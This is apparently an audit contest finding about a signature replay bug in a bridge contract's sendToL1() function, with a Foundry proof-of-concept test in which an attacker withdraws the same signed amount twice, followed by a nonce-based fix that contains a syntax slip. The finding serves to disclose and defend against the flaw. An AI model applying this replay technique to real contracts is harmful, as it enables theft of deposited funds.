Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

No transaction replay validation in `L1BossBridge::sendToL1()` can result in funds to be drained from the contract.

Summary

The L1BossBridge::sendToL1() function lacks validations to prevent the execution of a valid signed
transaction multiple times. An attacker could deposit tokens into the contract and replay a valid
withdrawal transaction repeatedly, leading to the draining of funds from the contract.

Vulnerability Details

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
@> //No validation of the transaction already being executed

Impact

Drain of funds from the protocol.

Here is a test that shows how a valid transaction can be replayed multiple times, allowing an attacker to extract more funds
from the protocol beyond the initially deposited amount.

//Set up
address attacker = makeAddr("1337");
address attackerInL2 = makeAddr("attackerInL2");
function testReplayAttack() public {
//A normal user deposits some tokens into the contract
vm.startPrank(user);
uint256 userDepositAmount = 5e18;
token.approve(address(tokenBridge), userDepositAmount);
tokenBridge.depositTokensToL2(user, userInL2, userDepositAmount);
vm.stopPrank();
//An attacker deposits 1 token into the contract
vm.startPrank(attacker);
uint256 attackerDepositAmount = 1e18;
token.approve(address(tokenBridge), attackerDepositAmount);
tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerDepositAmount);
//Get the message sign to withdraw 1 token, but the attacker is able to replay the same transaction multiple times
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attacker, attackerDepositAmount), operator.key);
WithdrawWithSignature(attacker, attackerDepositAmount, v, r, s);
//Same transaction sent a second time
@> WithdrawWithSignature(attacker, attackerDepositAmount, v, r, s);
//The attacker started with 1 token and ends up with 2 tokens in his balance
assertEq(token.balanceOf(address(attacker)), 2e18);
}
function WithdrawWithSignature(address from, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {
tokenBridge.withdrawTokensToL1(from, amount, v, r, s);
}

Tools Used

Foundry

Recommendations

Consider incorporating a nonce into the message hash for uniqueness. Also, establish a mapping of previously executed transaction
hashes to validate before proceeding with the call.

//Set Up
//The mapping of the transactions already executed
@> mapping(bytes => bool) public txExecuted;
//The modified functions with the nonce and the check of already executed transactions
function withdrawTokensToL1(address to, uint256 amount, uint256 nonce, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
uint256 nonce,
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
//Here is the check and the transaction being added to the mapping
@> require (!txExecuted[message], "Tx executed");
@> txExecuted[message] = true;
(address target, uint256 value, uint256 nonce, bytes memory data) = abi.decode(message, (address, uint256, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.